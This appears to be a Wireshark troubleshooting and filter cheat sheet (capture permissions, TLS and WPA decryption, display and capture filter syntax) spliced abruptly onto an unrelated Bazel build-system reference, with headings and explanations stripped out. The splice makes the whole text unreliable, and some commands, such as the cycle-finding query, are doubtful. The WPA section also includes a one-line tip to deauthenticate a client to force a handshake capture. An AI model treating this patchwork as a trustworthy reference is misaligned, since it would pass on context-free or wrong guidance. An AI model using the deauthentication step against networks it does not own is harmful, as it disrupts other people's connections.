~/captures/
  ├── 2024-01/
  │   ├── web-server/
  │   ├── database/
  │   └── network/
  ├── 2024-02/
  └── current/

Format: YYYY-MM-DD_description_interface.ext
Examples:
  2024-01-15_slow-http_eth0.pcapng
  2024-01-15_dns-issues_any.pcap

Keep alongside capture:
  capture.pcapng
  capture_notes.txt
  capture_analysis.pdf

# Check groups
groups

# Add to wireshark group
sudo usermod -a -G wireshark $USER
newgrp wireshark

# Set capabilities
sudo setcap cap_net_raw,cap_net_admin+eip /usr/bin/dumpcap

# Verify
getcap /usr/bin/dumpcap

# Check ChmodBPF
sudo launchctl list | grep chmod

# Reinstall if needed
# Run Wireshark installer's "Install ChmodBPF" package

# Check permissions
ls -la /dev/bpf*

# Add to access_bpf group
sudo dseditgroup -o edit -a $USER -t user access_bpf

1. Run as Administrator
2. Reinstall Npcap
3. Check firewall settings
4. Verify Npcap service running:
   services.msc → Npcap Packet Driver (npf)

# Refresh interfaces
Capture → Refresh Interfaces (Ctrl+Shift+R)

# Check with dumpcap
dumpcap -D

# Check with tshark
tshark -D

# Check system interfaces
ip link show        # Linux
ifconfig           # macOS/BSD
ipconfig           # Windows

# Restart Wireshark
# Reboot system

# Split file
editcap -c 10000 large.pcap small.pcap
# Creates small_00000.pcap, small_00001.pcap, etc.

# Filter and save subset
tshark -r large.pcap -Y "http" -w http-only.pcap

# Use tshark for statistics
tshark -r large.pcap -q -z io,phs

View → Name Resolution → Uncheck all
Or: Edit → Preferences → Name Resolution → Uncheck all

Analyze → Enabled Protocols
Disable unused protocols

Edit → Preferences → Capture
☐ Update list of packets in real-time

Right-click packet → Decode As
Select correct protocol

Edit → Preferences → Protocols → [Protocol]
Configure ports, options

Create new profile:
Edit → Configuration Profiles → New

Close Wireshark

# Linux/macOS
rm -rf ~/.config/wireshark/preferences
rm -rf ~/.wireshark/preferences

# Windows
del %APPDATA%\Wireshark\preferences

Restart Wireshark

# Verify environment variable set
echo $SSLKEYLOGFILE     # Linux/macOS
echo %SSLKEYLOGFILE%   # Windows

# Check file exists and has data
cat ~/sslkeys.log

# Verify configured in Wireshark
Edit → Preferences → Protocols → TLS
Check (Pre)-Master-Secret log filename

Check TLS handshake:
Filter: tls.handshake.type == 2

Look at Server Hello:
- Cipher suite used
- If DHE/ECDHE: forward secrecy (can't decrypt without keys)
- If RSA: can decrypt with private key

Must capture from beginning:
- Client Hello
- Server Hello
- Key exchange
- Finished messages

If missing: restart capture and regenerate traffic

Filter: eapol
Should see 4 EAPOL packets
If missing: deauth client to force reconnect

Edit → Preferences → Protocols → IEEE 802.11
Decryption keys → Edit
Format: wpa-pwd
Key: password:SSID

Correct: MyPassword:MySSID
Wrong: MyPassword
Wrong: MySSID:MyPassword

Capture Options → Input
Buffer size: 512 MB

# Lower overhead
dumpcap -i eth0 -w capture.pcap

# Write to SSD or RAM disk
dumpcap -i eth0 -w /dev/shm/capture.pcap

Reduce captured traffic:
tcp port 80 or tcp port 443

Capture Options:
☐ Update list of packets in real-time

Wrong: ip.addr = 192.168.1.1
Right: ip.addr == 192.168.1.1

Wrong: tcp.port = 80
Right: tcp.port == 80

Wrong: http.host == www.example.com
Right: http.host == "www.example.com"

Wrong: http.request.method == POST
Right: http.request.method == "POST"

Wrong: http.response == 404
Right: http.response.code == 404

Wrong: ip.source == 192.168.1.1
Right: ip.src == 192.168.1.1

1. Right-click field in packet details
2. Copy → Field Name
3. Paste in filter

Wrong: ip.addr == 192.168.1.1 or 192.168.1.2
Right: ip.addr == 192.168.1.1 or ip.addr == 192.168.1.2

Wrong: tcp.port == 80 and 443
Right: tcp.port == 80 or tcp.port == 443

# IP addresses
ip.addr == 192.168.1.1
ip.src == 192.168.1.1
ip.dst == 192.168.1.1

# Ports
tcp.port == 80
udp.port == 53
tcp.srcport == 443
tcp.dstport == 8080

# Protocols
http
dns
tls or ssl
icmp
arp

# HTTP
http.request
http.response
http.request.method == "GET"
http.response.code == 404
http.host == "example.com"

# DNS
dns.qry.name contains "example"
dns.flags.rcode != 0

# TCP analysis
tcp.analysis.retransmission
tcp.analysis.duplicate_ack
tcp.analysis.zero_window
tcp.stream == 0

# Combinations
http and ip.addr == 192.168.1.1
tcp.port == 443 and tcp.flags.syn == 1
dns and not dns.flags.response

# Host
host 192.168.1.1
src host 192.168.1.1
dst host 192.168.1.1

# Network
net 192.168.1.0/24
src net 192.168.1.0/24

# Port
port 80
tcp port 443
udp port 53
portrange 8000-9000

# Protocol
tcp
udp
icmp
arp

# Combinations
host 192.168.1.1 and port 80
tcp and not port 22
net 192.168.1.0/24 and udp

# Install Bazelisk (manages Bazel versions automatically)
# macOS
brew install bazelisk

# Linux (download binary)
wget https://github.com/bazelbuild/bazelisk/releases/latest/download/bazelisk-linux-amd64
chmod +x bazelisk-linux-amd64
sudo mv bazelisk-linux-amd64 /usr/local/bin/bazel

# Verify installation
bazel --version

# Ubuntu/Debian
sudo apt install apt-transport-https curl gnupg
curl -fsSL https://bazel.build/bazel-release.pub.gpg | gpg --dearmor > bazel.gpg
sudo mv bazel.gpg /etc/apt/trusted.gpg.d/
echo "deb [arch=amd64] https://storage.googleapis.com/bazel-apt stable jdk1.8" | sudo tee /etc/apt/sources.list.d/bazel.list
sudo apt update && sudo apt install bazel

# macOS
brew install bazel

# From source or binary
# https://github.com/bazelbuild/bazel/releases

# Use .bazelversion file to specify version
echo "7.0.0" > .bazelversion

# Bazelisk reads this file and downloads the correct version
bazel version

my_project/
├── WORKSPACE (or MODULE.bazel for Bzlmod)
├── .bazelrc
├── BUILD.bazel
├── src/
│   ├── BUILD.bazel
│   ├── main.cc
│   └── lib/
│       ├── BUILD.bazel
│       └── helper.cc
└── tests/
    ├── BUILD.bazel
    └── main_test.cc

# Label syntax
//package:target          # Target in another package
:target                  # Target in current package
//package                # Shorthand for //package:package
@repo//package:target    # Target in external repository

# Target patterns
//...                    # All targets in workspace
//path/to/package/...    # All targets under path
//path/to/package:*      # All targets in package
//path/to/package:all    # All targets in package

# Direct dependencies
deps = [
    ":local_target",
    "//other/package:target",
    "@external_repo//package:target",
]

# Data dependencies (runtime files)
data = [
    "config.json",
    "//data:test_files",
]

# Build a target
bazel build //path/to/package:target
bazel build :target  # In current package
bazel build //...    # Build everything

# Build with flags
bazel build //src:main --compilation_mode=opt
bazel build //src:main -c opt  # Optimized build
bazel build //src:main -c dbg  # Debug build

# Build multiple targets
bazel build //src:main //tests:all

# Show build commands
bazel build //src:main --verbose_failures
bazel build //src:main -s  # Show all commands

# Run tests
bazel test //tests:all
bazel test //...  # Run all tests

# Test with options
bazel test //tests:main_test --test_output=all
bazel test //tests:main_test --test_output=errors
bazel test //tests:main_test --test_output=streamed

# Run specific test
bazel test //tests:main_test --test_filter=TestName

# Test with coverage
bazel coverage //tests:all

# Run a binary target
bazel run //src:main
bazel run //src:main -- arg1 arg2  # With arguments

# Run with configuration
bazel run -c opt //src:main

# Query target information
bazel query //src:main
bazel query 'deps(//src:main)'  # Show all dependencies
bazel query 'rdeps(//..., //src:lib)'  # Reverse dependencies

# Find targets
bazel query 'kind("cc_.*", //...)'  # All C++ targets
bazel query 'attr(name, ".*test.*", //...)'  # Targets matching pattern

# Build graph
bazel query 'somepath(//src:main, //third_party:lib)'

# Workspace information
bazel info
bazel info workspace
bazel info bazel-bin
bazel info output_path

# Build information
bazel info compilation_mode
bazel info cpu

# Clean build outputs (keeps cache)
bazel clean

# Deep clean (removes all cached artifacts)
bazel clean --expunge

# Async clean (non-blocking)
bazel clean --async

# src/BUILD.bazel

# Load rules from external files
load("@rules_cc//cc:defs.bzl", "cc_binary", "cc_library")

# C++ library
cc_library(
    name = "helper",
    srcs = ["helper.cc"],
    hdrs = ["helper.h"],
    visibility = ["//visibility:public"],
)

# C++ binary
cc_binary(
    name = "main",
    srcs = ["main.cc"],
    deps = [":helper"],
)

# Multiple targets in one file
cc_library(
    name = "utils",
    srcs = ["utils.cc"],
    hdrs = ["utils.h"],
)

cc_test(
    name = "utils_test",
    srcs = ["utils_test.cc"],
    deps = [
        ":utils",
        "@googletest//:gtest_main",
    ],
)

cc_binary(
    name = "myapp",              # Target name (required)
    srcs = ["main.cc"],          # Source files
    hdrs = ["main.h"],           # Header files
    deps = [":lib"],             # Dependencies
    data = ["config.json"],      # Runtime data files
    copts = ["-std=c++17"],      # Compiler options
    linkopts = ["-lpthread"],    # Linker options
    defines = ["DEBUG=1"],       # Preprocessor defines
    includes = ["include/"],     # Include directories
    visibility = ["//visibility:public"],  # Who can depend on this
    testonly = False,            # Only for tests
    tags = ["manual"],           # Metadata tags
)

# Public - anyone can depend on this
visibility = ["//visibility:public"]

# Private - only targets in same package
visibility = ["//visibility:private"]

# Package group
package_group(
    name = "friends",
    packages = [
        "//src/...",
        "//tests/...",
    ],
)

cc_library(
    name = "internal_lib",
    srcs = ["lib.cc"],
    visibility = [":friends"],
)

# Specific packages
visibility = [
    "//src:__pkg__",        # Only src package
    "//src:__subpackages__", # src and all subpackages
]

# Glob for source files
cc_library(
    name = "lib",
    srcs = glob(["*.cc"]),
    hdrs = glob(["*.h"]),
)

# Glob with exclusions
srcs = glob(
    ["**/*.cc"],
    exclude = [
        "test/**",
        "**/*_test.cc",
    ],
)

# Recursive glob
srcs = glob(["**/*.cc"])  # All .cc files recursively

# Include generated files explicitly (glob doesn't include them)
srcs = glob(["*.cc"]) + [":generated_source"]

load("@rules_cc//cc:defs.bzl", "cc_binary", "cc_library", "cc_test")

# C++ library
cc_library(
    name = "mylib",
    srcs = ["mylib.cc"],
    hdrs = ["mylib.h"],
    deps = [":other_lib"],
    copts = ["-std=c++17"],
    visibility = ["//visibility:public"],
)

# C++ binary
cc_binary(
    name = "myapp",
    srcs = ["main.cc"],
    deps = [":mylib"],
    linkopts = ["-lpthread"],
)

# C++ test
cc_test(
    name = "mylib_test",
    srcs = ["mylib_test.cc"],
    deps = [
        ":mylib",
        "@googletest//:gtest_main",
    ],
    size = "small",  # small, medium, large, enormous
)

# Static library
cc_library(
    name = "static_lib",
    srcs = ["lib.cc"],
    linkstatic = True,
)

# Shared library
cc_binary(
    name = "libshared.so",
    srcs = ["lib.cc"],
    linkshared = True,
)

load("@rules_java//java:defs.bzl", "java_binary", "java_library", "java_test")

# Java library
java_library(
    name = "mylib",
    srcs = glob(["*.java"]),
    deps = [
        "@maven//:com_google_guava_guava",
    ],
    resources = glob(["resources/**"]),
)

# Java binary
java_binary(
    name = "myapp",
    srcs = ["Main.java"],
    main_class = "com.example.Main",
    deps = [":mylib"],
)

# Java test
java_test(
    name = "mylib_test",
    srcs = ["MyLibTest.java"],
    test_class = "com.example.MyLibTest",
    deps = [
        ":mylib",
        "@maven//:junit_junit",
    ],
)

load("@rules_python//python:defs.bzl", "py_binary", "py_library", "py_test")

# Python library
py_library(
    name = "mylib",
    srcs = ["mylib.py"],
    deps = [":other_lib"],
    data = ["data.json"],
)

# Python binary
py_binary(
    name = "myapp",
    srcs = ["main.py"],
    deps = [":mylib"],
    python_version = "PY3",
)

# Python test
py_test(
    name = "mylib_test",
    srcs = ["mylib_test.py"],
    deps = [
        ":mylib",
        "@pip//pytest",
    ],
)

load("@io_bazel_rules_go//go:def.bzl", "go_binary", "go_library", "go_test")

# Go library
go_library(
    name = "go_default_library",
    srcs = ["lib.go"],
    importpath = "github.com/user/project/lib",
    visibility = ["//visibility:public"],
    deps = [
        "@com_github_golang_glog//:go_default_library",
    ],
)

# Go binary
go_binary(
    name = "myapp",
    srcs = ["main.go"],
    deps = [":go_default_library"],
)

# Go test
go_test(
    name = "go_default_test",
    srcs = ["lib_test.go"],
    embed = [":go_default_library"],
)

load("@rules_proto//proto:defs.bzl", "proto_library")
load("@rules_cc//cc:defs.bzl", "cc_proto_library")

# Proto definition
proto_library(
    name = "person_proto",
    srcs = ["person.proto"],
    deps = [
        "@com_google_protobuf//:timestamp_proto",
    ],
)

# C++ proto library
cc_proto_library(
    name = "person_cc_proto",
    deps = [":person_proto"],
)

# Use in C++ target
cc_binary(
    name = "myapp",
    srcs = ["main.cc"],
    deps = [":person_cc_proto"],
)

# Generate files with custom commands
genrule(
    name = "generate_version",
    srcs = ["version.txt.template"],
    outs = ["version.txt"],
    cmd = "sed 's/VERSION/$(VERSION)/g' $< > $@",
)

# Multiple outputs
genrule(
    name = "codegen",
    srcs = ["schema.json"],
    outs = [
        "generated.h",
        "generated.cc",
    ],
    cmd = "$(location :generator) --input $< --output $(RULEDIR)",
    tools = [":generator"],
)

# Use environment variables
genrule(
    name = "config",
    outs = ["config.h"],
    cmd = """
        echo '#define BUILD_TIME "$(DATE)"' > $@
        echo '#define BUILD_HOST "$(HOSTNAME)"' >> $@
    """,
)

# Shell binary
sh_binary(
    name = "deploy",
    srcs = ["deploy.sh"],
    data = [
        ":myapp",
        "config.yaml",
    ],
)

# Shell test
sh_test(
    name = "integration_test",
    srcs = ["test.sh"],
    data = [
        ":myapp",
        "//testdata:files",
    ],
)

# WORKSPACE
workspace(name = "my_project")

# Load HTTP archive rule
load("@bazel_tools//tools/build_defs/repo:http.bzl", "http_archive")

# External dependency from archive
http_archive(
    name = "com_google_googletest",
    urls = ["https://github.com/google/googletest/archive/release-1.12.1.tar.gz"],
    strip_prefix = "googletest-release-1.12.1",
    sha256 = "81964fe578e9bd7c94dfdb09c8e4d6e6759e19967e397dbea48d1c10e45d0df2",
)

# Git repository
load("@bazel_tools//tools/build_defs/repo:git.bzl", "git_repository")

git_repository(
    name = "my_dependency",
    remote = "https://github.com/user/repo.git",
    tag = "v1.0.0",
    # Or use commit
    # commit = "abc123",
)

# Local repository
local_repository(
    name = "local_lib",
    path = "../local_lib",
)

# New local repository (creates BUILD files)
new_local_repository(
    name = "external_lib",
    path = "/usr/local/lib/mylib",
    build_file = "external/mylib.BUILD",
)

# MODULE.bazel
module(
    name = "my_project",
    version = "1.0.0",
)

# Bazel dependencies
bazel_dep(name = "rules_cc", version = "0.0.9")
bazel_dep(name = "rules_python", version = "0.27.0")
bazel_dep(name = "googletest", version = "1.14.0")

# Override dependency version
single_version_override(
    module_name = "googletest",
    version = "1.12.1",
)

# Archive override
archive_override(
    module_name = "rules_cc",
    urls = ["https://github.com/bazelbuild/rules_cc/archive/main.zip"],
    strip_prefix = "rules_cc-main",
)

# Local path override
local_path_override(
    module_name = "my_lib",
    path = "../my_lib",
)

# Git override
git_override(
    module_name = "my_lib",
    remote = "https://github.com/user/repo.git",
    commit = "abc123",
)

# C++ dependencies
http_archive(
    name = "com_google_absl",
    urls = ["https://github.com/abseil/abseil-cpp/archive/refs/tags/20230802.0.tar.gz"],
    strip_prefix = "abseil-cpp-20230802.0",
)

# Python dependencies
http_archive(
    name = "rules_python",
    sha256 = "...",
    strip_prefix = "rules_python-0.27.0",
    url = "https://github.com/bazelbuild/rules_python/archive/0.27.0.tar.gz",
)

# Load Python rules and set up pip dependencies
load("@rules_python//python:repositories.bzl", "py_repositories")
py_repositories()

load("@rules_python//python:pip.bzl", "pip_parse")
pip_parse(
    name = "pip",
    requirements_lock = "//:requirements.txt",
)
load("@pip//:requirements.bzl", "install_deps")
install_deps()

# List all targets in package
bazel query //path/to/package:all

# Show dependencies
bazel query 'deps(//src:main)'

# Show direct dependencies only
bazel query 'deps(//src:main, 1)'

# Reverse dependencies (what depends on this)
bazel query 'rdeps(//..., //src:lib)'

# Path between targets
bazel query 'somepath(//src:main, //third_party:lib)'

# All paths between targets
bazel query 'allpaths(//src:main, //third_party:lib)'

# Filter by rule kind
bazel query 'kind("cc_library", //...)'
bazel query 'kind(".*test", //...)'

# Filter by attribute
bazel query 'attr(name, ".*test.*", //...)'
bazel query 'attr(visibility, "public", //...)'

# Set operations
bazel query 'deps(//src:main) except deps(//src:lib)'
bazel query 'deps(//src:main) intersect deps(//src:other)'

# Targets that match pattern
bazel query 'filter(".*test", //...)'

# Build files
bazel query 'buildfiles(//src/...)'

# Tests for targets
bazel query 'tests(//src:main)'

# Query with configuration
bazel cquery //src:main

# Show configuration
bazel cquery //src:main --output=build

# Dependencies with configuration
bazel cquery 'deps(//src:main)' --output=graph

# Different configurations
bazel cquery //src:main --cpu=k8
bazel cquery //src:main -c opt

# Show actions
bazel aquery //src:main

# Filter by type
bazel aquery 'mnemonic("CppCompile", //src:main)'

# Show inputs/outputs
bazel aquery //src:main --output=text

# Action graph
bazel aquery 'deps(//src:main)' --output=textproto

# Different output formats
bazel query //... --output=label
bazel query //... --output=label_kind
bazel query //... --output=build
bazel query //... --output=xml
bazel query //... --output=proto
bazel query //... --output=graph  # Graphviz format

# Generate dependency graph
bazel query 'deps(//src:main)' --output=graph > graph.dot
dot -Tpng graph.dot -o graph.png

# .bazelrc - Project-wide Bazel configuration

# Build configuration
build --cxxopt='-std=c++17'
build --host_cxxopt='-std=c++17'
build --javacopt='-source 11 -target 11'

# Optimization settings
build:opt -c opt
build:opt --copt=-O3

# Debug settings
build:dbg -c dbg
build:dbg --copt=-g
build:dbg --strip=never

# Test configuration
test --test_output=errors
test --test_summary=detailed

# Remote cache
build --remote_cache=https://cache.example.com
build --remote_upload_local_results=true

# Performance
build --jobs=auto
build --local_cpu_resources=HOST_CPUS*0.8

# Output
build --color=yes
build --show_timestamps
build --verbose_failures

# Platform-specific
build:linux --copt=-fPIC
build:macos --macos_minimum_os=10.15

# User-specific (import from ~/.bazelrc)
try-import %workspace%/.bazelrc.user

# Use configuration
bazel build --config=opt //src:main
bazel build --config=dbg //src:main

# Override options
bazel build --copt=-O2 //src:main
bazel build --cxxopt='-std=c++20' //src:main

# Set compilation mode
bazel build -c opt //src:main  # optimized
bazel build -c dbg //src:main  # debug
bazel build -c fastbuild //src:main  # fast compilation

# Set CPU architecture
bazel build --cpu=k8 //src:main
bazel build --cpu=arm64 //src:main

# Jobs and resources
bazel build --jobs=4 //src:main
bazel build --local_cpu_resources=8 //src:main

# BUILD.bazel
platform(
    name = "linux_x86_64",
    constraint_values = [
        "@platforms//os:linux",
        "@platforms//cpu:x86_64",
    ],
)

platform(
    name = "macos_arm64",
    constraint_values = [
        "@platforms//os:macos",
        "@platforms//cpu:arm64",
    ],
)

# Use platform
# bazel build --platforms=:linux_x86_64 //src:main

# rules.bzl - Custom rule definition

def _my_rule_impl(ctx):
    """Implementation of my_rule"""
    # Access inputs
    input_file = ctx.file.src

    # Declare outputs
    output_file = ctx.actions.declare_file(ctx.label.name + ".out")

    # Create action
    ctx.actions.run_shell(
        inputs = [input_file],
        outputs = [output_file],
        command = "cat {} > {}".format(input_file.path, output_file.path),
    )

    # Return providers
    return [DefaultInfo(files = depset([output_file]))]

my_rule = rule(
    implementation = _my_rule_impl,
    attrs = {
        "src": attr.label(
            allow_single_file = True,
            mandatory = True,
        ),
    },
)

# BUILD.bazel - Using custom rule

load(":rules.bzl", "my_rule")

my_rule(
    name = "generate",
    src = "input.txt",
)

# macros.bzl

def cc_library_with_test(name, srcs, hdrs, deps = [], **kwargs):
    """Macro that creates a library and its test"""

    # Library
    native.cc_library(
        name = name,
        srcs = srcs,
        hdrs = hdrs,
        deps = deps,
        **kwargs
    )

    # Test
    native.cc_test(
        name = name + "_test",
        srcs = [name + "_test.cc"],
        deps = [
            ":" + name,
            "@googletest//:gtest_main",
        ] + deps,
    )

# aspects.bzl

def _print_deps_impl(target, ctx):
    """Aspect that prints all dependencies"""
    deps = []
    if hasattr(ctx.rule.attr, 'deps'):
        for dep in ctx.rule.attr.deps:
            deps.append(str(dep.label))

    print("Target {} has deps: {}".format(target.label, deps))

    return []

print_deps = aspect(
    implementation = _print_deps_impl,
    attr_aspects = ['deps'],
)

# Use aspect
# bazel build //src:main --aspects=:aspects.bzl%print_deps

# Custom provider
MyInfo = provider(
    fields = {
        "data": "Runtime data files",
        "metadata": "Additional metadata",
    },
)

def _my_rule_impl(ctx):
    # Return custom provider
    return [
        DefaultInfo(files = depset(ctx.files.srcs)),
        MyInfo(
            data = ctx.files.data,
            metadata = ctx.attr.metadata,
        ),
    ]

my_rule = rule(
    implementation = _my_rule_impl,
    attrs = {
        "srcs": attr.label_list(allow_files = True),
        "data": attr.label_list(allow_files = True),
        "metadata": attr.string_dict(),
    },
)

# Configuration transitions

def _arm64_transition_impl(settings, attr):
    return {
        "//command_line_option:cpu": "arm64",
    }

arm64_transition = transition(
    implementation = _arm64_transition_impl,
    inputs = [],
    outputs = ["//command_line_option:cpu"],
)

def _cross_compile_rule_impl(ctx):
    # Build dependencies for ARM64
    return [DefaultInfo(files = depset(ctx.files.deps))]

cross_compile_rule = rule(
    implementation = _cross_compile_rule_impl,
    attrs = {
        "deps": attr.label_list(cfg = arm64_transition),
        "_allowlist_function_transition": attr.label(
            default = "@bazel_tools//tools/allowlists/function_transition_allowlist",
        ),
    },
)

monorepo/
├── WORKSPACE
├── .bazelrc
├── BUILD.bazel
├── services/
│   ├── api/
│   │   ├── BUILD.bazel
│   │   └── main.go
│   └── worker/
│       ├── BUILD.bazel
│       └── main.py
├── libraries/
│   ├── common/
│   │   ├── BUILD.bazel
│   │   └── utils.cc
│   └── proto/
│       ├── BUILD.bazel
│       └── api.proto
└── tools/
    ├── BUILD.bazel
    └── codegen/

# Root BUILD.bazel
package(default_visibility = ["//visibility:public"])

# services/api/BUILD.bazel
go_binary(
    name = "api_server",
    srcs = ["main.go"],
    deps = [
        "//libraries/common:utils",
        "//libraries/proto:api_go_proto",
    ],
)

# libraries/common/BUILD.bazel
cc_library(
    name = "utils",
    srcs = ["utils.cc"],
    hdrs = ["utils.h"],
    visibility = ["//visibility:public"],
)

# BUILD.bazel - Project with C++, Python, and Go

# C++ library
cc_library(
    name = "core",
    srcs = ["core.cc"],
    hdrs = ["core.h"],
)

# Python bindings
py_library(
    name = "py_bindings",
    srcs = ["bindings.py"],
    data = [":core"],
)

# Go service using C++ library
go_binary(
    name = "service",
    srcs = ["main.go"],
    cgo = True,
    cdeps = [":core"],
)

# Protocol buffers for all languages
proto_library(
    name = "api_proto",
    srcs = ["api.proto"],
)

cc_proto_library(
    name = "api_cc_proto",
    deps = [":api_proto"],
)

py_proto_library(
    name = "api_py_proto",
    deps = [":api_proto"],
)

go_proto_library(
    name = "api_go_proto",
    importpath = "example.com/api",
    protos = [":api_proto"],
)

# Code generation pattern

# Generator tool
cc_binary(
    name = "generator",
    srcs = ["generator.cc"],
)

# Generate code
genrule(
    name = "generated_srcs",
    srcs = ["schema.json"],
    outs = [
        "generated.h",
        "generated.cc",
    ],
    cmd = "$(location :generator) --input $(SRCS) --output $(RULEDIR)",
    tools = [":generator"],
)

# Use generated code
cc_library(
    name = "mylib",
    srcs = [
        "mylib.cc",
        ":generated_srcs",
    ],
    hdrs = [
        "mylib.h",
        ":generated_srcs",
    ],
)

# toolchain/BUILD.bazel

# Define toolchains for different platforms
toolchain(
    name = "linux_x86_64_toolchain",
    toolchain = ":cc_toolchain_linux_x86_64",
    toolchain_type = "@bazel_tools//tools/cpp:toolchain_type",
    target_compatible_with = [
        "@platforms//os:linux",
        "@platforms//cpu:x86_64",
    ],
)

toolchain(
    name = "linux_arm64_toolchain",
    toolchain = ":cc_toolchain_linux_arm64",
    toolchain_type = "@bazel_tools//tools/cpp:toolchain_type",
    target_compatible_with = [
        "@platforms//os:linux",
        "@platforms//cpu:arm64",
    ],
)

# Build for different platforms
# bazel build --platforms=//toolchain:linux_arm64_platform //src:main

# .bazelrc - Remote caching configuration

# Google Cloud Storage
build --remote_cache=https://storage.googleapis.com/my-bucket
build --google_default_credentials

# Generic HTTP cache
build --remote_cache=https://cache.example.com
build --remote_header=Authorization=Bearer TOKEN

# Local disk cache
build --disk_cache=/tmp/bazel_cache

# Remote cache options
build --remote_upload_local_results=true
build --remote_accept_cached=true
build --remote_timeout=60
build --remote_max_connections=100

# .bazelrc - Remote execution configuration

# Remote execution endpoint
build --remote_executor=grpc://remote.build.example.com:8980

# Remote cache with execution
build --remote_cache=grpc://remote.build.example.com:8980
build --remote_executor=grpc://remote.build.example.com:8980

# Execution properties
build --remote_default_exec_properties=OSFamily=linux
build --remote_default_exec_properties=container-image=docker://my-image

# Local fallback
build --remote_local_fallback
build --remote_local_fallback_strategy=local

# BUILD.bazel - Docker container builds

load("@io_bazel_rules_docker//container:container.bzl", "container_image")
load("@io_bazel_rules_docker//cc:image.bzl", "cc_image")

# Build C++ binary in container
cc_image(
    name = "app_image",
    binary = ":main",
    base = "@cc_base//image",
)

# Custom container image
container_image(
    name = "custom_image",
    base = "@ubuntu//image",
    files = [
        ":main",
        "config.yaml",
    ],
    entrypoint = ["/main"],
)

# Parallel builds
bazel build --jobs=auto //...
bazel build -j 8 //...

# Limit resource usage
bazel build --local_cpu_resources=HOST_CPUS*0.8 //...
bazel build --local_ram_resources=HOST_RAM*0.8 //...

# Incremental builds
bazel build --nobuild  # Analyze only
bazel build --keep_going  # Continue on errors

# Profile build
bazel build --profile=profile.json //...
bazel analyze-profile profile.json

# Show slow targets
bazel build --experimental_profile_include_target_label //...

# Enable action cache
bazel build --action_cache=/tmp/action_cache //...

# Repository cache
bazel build --repository_cache=/tmp/repo_cache //...

# Disk cache
bazel build --disk_cache=/tmp/bazel_cache //...

# Cache statistics
bazel info | grep cache

# .bazelrc

# Enable remote cache for all operations
build --remote_cache=https://cache.example.com
test --remote_cache=https://cache.example.com

# Upload local results
build --remote_upload_local_results=true

# Download all outputs
build --remote_download_all

# Or download only outputs needed locally
build --remote_download_minimal

# Compress cache data
build --remote_grpc_compression=gzip

# Timeout settings
build --remote_timeout=60s

# Use filegroups for common file sets
filegroup(
    name = "common_hdrs",
    srcs = glob(["include/**/*.h"]),
)

# Avoid unnecessary globs
# Bad: srcs = glob(["**/*.cc"])
# Good: srcs = glob(["*.cc"])

# Explicit dependencies (better than transitive)
deps = [
    "//lib:specific_lib",  # Good
    # "//lib:all",  # Avoid
]

# Use select for platform-specific code
srcs = select({
    "@platforms//os:linux": ["linux_impl.cc"],
    "@platforms//os:macos": ["macos_impl.cc"],
    "//conditions:default": ["generic_impl.cc"],
})

# Good BUILD file structure

# 1. Load statements at top
load("@rules_cc//cc:defs.bzl", "cc_binary", "cc_library")
load(":custom_rules.bzl", "my_rule")

# 2. Package-level configuration
package(default_visibility = ["//visibility:private"])

# 3. Filegroups and exports
filegroup(
    name = "headers",
    srcs = glob(["*.h"]),
)

exports_files(["config.yaml"])

# 4. Libraries first
cc_library(
    name = "lib",
    srcs = ["lib.cc"],
    hdrs = [":headers"],
)

# 5. Binaries next
cc_binary(
    name = "main",
    srcs = ["main.cc"],
    deps = [":lib"],
)

# 6. Tests last
cc_test(
    name = "lib_test",
    srcs = ["lib_test.cc"],
    deps = [":lib"],
)

# Explicit and minimal dependencies
cc_library(
    name = "mylib",
    srcs = ["mylib.cc"],
    hdrs = ["mylib.h"],
    # Only list direct dependencies
    deps = [
        ":direct_dep",
        "//other:lib",
    ],
    # Avoid transitive dependencies
)

# Use visibility to control access
cc_library(
    name = "internal_lib",
    srcs = ["internal.cc"],
    visibility = [
        "//src:__subpackages__",  # Only src subtree
    ],
)

# Group related targets
package_group(
    name = "internal",
    packages = [
        "//src/core/...",
        "//src/internal/...",
    ],
)

# Ensure builds are hermetic

# 1. Declare all inputs explicitly
cc_binary(
    name = "app",
    srcs = ["main.cc"],
    data = [
        "config.yaml",  # Runtime files
        "//data:dataset",
    ],
)

# 2. Use toolchains instead of system tools
# Bad:
# cmd = "/usr/bin/python script.py"

# Good:
genrule(
    name = "generate",
    tools = ["@python_interpreter//python3"],
    cmd = "$(location @python_interpreter//python3) script.py",
)

# 3. Pin external dependencies
http_archive(
    name = "dependency",
    urls = ["https://example.com/lib-1.2.3.tar.gz"],
    sha256 = "abc123...",  # Always include hash
)

# 4. Avoid host-specific paths
# Bad: data = ["/tmp/file.txt"]
# Good: data = ["//testdata:file.txt"]

# .bazelrc

# Stamp builds with version info
build --stamp
build --workspace_status_command=./tools/workspace_status.sh

# Use hermetic sandbox
build --spawn_strategy=sandboxed

# Enforce strict action environment
build --incompatible_strict_action_env

# Fixed timestamp for reproducibility
build --define=TIMESTAMP=0

# Organize tests by size
cc_test(
    name = "unit_test",
    srcs = ["unit_test.cc"],
    size = "small",  # < 1 minute, < 20MB RAM
    deps = [":lib"],
)

cc_test(
    name = "integration_test",
    srcs = ["integration_test.cc"],
    size = "medium",  # < 5 minutes, < 100MB RAM
    data = ["//testdata:files"],
)

# Tag tests appropriately
cc_test(
    name = "slow_test",
    srcs = ["slow_test.cc"],
    tags = [
        "slow",
        "manual",  # Don't run with //... pattern
        "requires_gpu",
    ],
)

# Use test suites
test_suite(
    name = "all_tests",
    tests = [
        ":unit_test",
        ":integration_test",
    ],
)

# Exclude slow tests from regular runs
# bazel test //... --test_tag_filters=-slow

# "Target not found" error
# Check if target exists
bazel query //path/to:target

# "Undeclared inclusion" error
# Add missing dependency or include directory
cc_library(
    name = "lib",
    srcs = ["lib.cc"],
    hdrs = ["lib.h"],
    includes = ["include/"],  # Add this
    deps = [":missing_dep"],  # Or this
)

# "Action failed" error
# Show verbose output
bazel build --verbose_failures //...
bazel build -s //...  # Show all commands

# "External dependency failed"
# Clear external cache
bazel clean --expunge_async
bazel sync

# "Out of memory" error
# Reduce parallelism
bazel build --jobs=2 --local_ram_resources=8192 //...

# Show build commands
bazel build -s //src:main

# Explain why target is rebuilt
bazel build --explain=explain.log //src:main
cat explain.log

# Detailed explanation
bazel build --verbose_explanations --explain=explain.log //src:main

# Show dependency chain
bazel query 'somepath(//src:main, //third_party:lib)'

# Find circular dependencies
bazel query 'allpaths(//src:main, //src:main)'

# Check for test failures
bazel test --test_output=all //tests:all
bazel test --test_output=streamed //tests:failing_test

# Clear all caches
bazel clean --expunge

# Clear specific cache
rm -rf ~/.cache/bazel

# Disable caching for debugging
bazel build --nocache_test_results //tests:all

